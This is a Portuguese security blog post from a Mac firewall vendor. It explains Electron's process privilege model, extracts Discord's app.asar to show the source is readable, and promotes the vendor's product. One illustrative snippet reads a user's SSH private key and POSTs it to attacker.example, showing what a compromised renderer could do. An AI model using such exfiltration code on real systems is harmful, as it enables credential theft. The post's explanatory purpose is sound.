O blog de segurança da FireAI

Por FireAI Security & Research Team · Publicado

O Que Está Realmente Dentro das Suas Aplicações Electron? Extraímos Uma Para Descobrir

O Que Está Realmente Dentro das Suas Aplicações Electron? Extraímos Uma Para Descobrir

O Electron combina o motor de renderização Chromium com o runtime Node.js, para que uma única base de código JavaScript possa ser distribuída como aplicação de ambiente de trabalho no macOS, Windows e Linux. O Slack, o Discord, o Notion e muitos outros são construídos desta forma, e durante anos assim foi também o Microsoft Teams. A conveniência é real. Também o é uma consequência que vale a pena compreender: uma aplicação Electron não é um processo com um único nível de privilégio, e o seu código-fonte empacotado não é difícil de ler.

Dois processos, dois níveis de privilégio

Toda a aplicação Electron tem um processo Principal, que corre Node.js completo com acesso normal a nível de sistema operativo a ficheiros e à rede, e um ou mais processos de Renderização, que mostram conteúdo web num contexto Chromium. A própria documentação de segurança do Electron é explícita quanto ao risco de esbater essa linha: "É fundamental que não ative a integração do Node.js em nenhum processo de renderização que carregue conteúdo remoto", porque fazê-lo remove a barreira entre uma página web e o sistema operativo. A correção que propõe não é "confiar no conteúdo em vez disso", mas sim arquitetural: manter o acesso ao Node fora do processo de renderização, e expor-lhe apenas uma API deliberadamente estreita através de um script de pré-carregamento e da API contextBridge, com o isolamento de contexto ativado.

Ilustrativo: o que a integração do Node num processo de renderização comprometido pode fazer
// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')

const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)

O arquivo não é um segredo: a extração de uma aplicação real

A maioria das aplicações Electron distribui o seu JavaScript e HTML dentro de um ficheiro app.asar. A própria documentação do Electron é direta quanto à finalidade desse formato: "os arquivos são apenas de leitura" e empacotar tudo num só destina-se a "ocultar o seu código-fonte de uma inspeção superficial" — palavras da própria documentação, não uma alegação externa —, ao mesmo tempo que declara claramente noutro sítio que o ASAR não fornece nenhuma cifragem. Para verificar o que isso significa na prática, extraímos a cópia real, atualmente instalada, do Discord para macOS (build 0.0.294) nesta máquina, usando o próprio empacotador mantido pelo Electron.

Terminal
npm install -g @electron/asar
asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
find ./discord_src -type f | wc -l
1056

Um único comando produziu 1056 ficheiros simples: JavaScript legível, package.json, e a própria organização de módulos do Discord, exatamente como a documentação do Electron diz que aconteceria. Sem descompilação, sem engenharia inversa, sem palavra-passe. Isto não é uma falha do Discord; é assim que o formato ASAR funciona para todas as aplicações Electron, por conceção.

O que uma extração real mostra sobre o comportamento de rede

Com o código-fonte em texto simples, tanto a revisão de segurança como a pesquisa tornam-se triviais. Pesquisámos nos ficheiros extraídos duas coisas: quais os webPreferences que o Discord define de facto, e que nomes de anfitrião aparecem no seu próprio código (excluindo node_modules de terceiros).

Terminal, resultados da extração real acima
grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376:      nodeIntegration: false,
app_bootstrap/splashScreen.js:379:      contextIsolation: true,

grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
  12 www.w3.org
   3 twitter.com
   3 discord.com
   2 github.com
   1 updates.discord.com
   1 reactjs.org

Para ser justo com a aplicação específica que testámos: a janela de arranque (splash screen) do Discord segue exatamente os conselhos de reforço de segurança do Electron, com nodeIntegration: false e contextIsolation: true. Vale a pena dizê-lo com clareza, e não ignorá-lo. O que isto demonstra não é que o Discord seja inseguro; é que pudemos verificar, em minutos, em qualquer aplicação Electron, porque o formato de arquivo não esconde nada. A maioria das pessoas que instala uma aplicação Electron nunca olha, e a maioria das ferramentas estáticas de endpoint também não.

Por que uma firewall baseada em confiança de binário não pode ajudar aqui

Nenhum dos nomes de anfitrião acima é secreto ou surpreendente para uma aplicação de chat alcançar, e é exatamente esse o problema para a defesa ao nível da rede. Uma firewall que decide pela assinatura de código vê apenas uma coisa: um binário notarizado e assinado pela Apple a fazer pedidos HTTPS normais na porta 443. Não tem forma de distinguir uma chamada de API legítima, um SDK de análise incluído no pacote, e, num processo de renderização genuinamente comprometido, uma tentativa de exfiltração. Os três parecem o mesmo processo de confiança a falar com a internet, porque são o mesmo processo.

  • Julgar uma aplicação Electron pela sua assinatura de código nada diz sobre quais das suas muitas dependências empacotadas estão a fazer que ligações.
  • Porque o código-fonte é JavaScript simples num arquivo sem cifragem, auditar aquilo a que uma aplicação consegue chegar é realista, não teórico, para quem estiver disposto a executar asar extract.
  • O único controlo que não depende de confiar no binário é a política de rede por processo e por destino: decidir, ao nível do socket, o que uma dada aplicação tem permissão para alcançar.

O papel do FireAI e da HisnLabs

A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.

O FireAI é o produto da HisnLabs: uma firewall com IA que corre diretamente no seu Mac. Mostra, em linguagem clara, cada ligação que as suas aplicações fazem e deixa-o decidir o que sai do seu Mac — a IA funciona localmente, pelo que o seu tráfego nunca é enviado para nós nem para mais ninguém. A equipa de investigação em segurança da HisnLabs é quem mantém essas decisões fiáveis: cataloga que domínios são simples telemetria e quais são um serviço real, acompanha o país e a rede por detrás de uma ligação e treina o modelo local (a funcionalidade Autopilot) com padrões de tráfego reais, sem que nada disso saia do seu Mac.

Pode ler as decisões técnicas por detrás dele, ou experimentar o FireAI durante 17 dias, em FireAI, da HisnLabs.

Fontes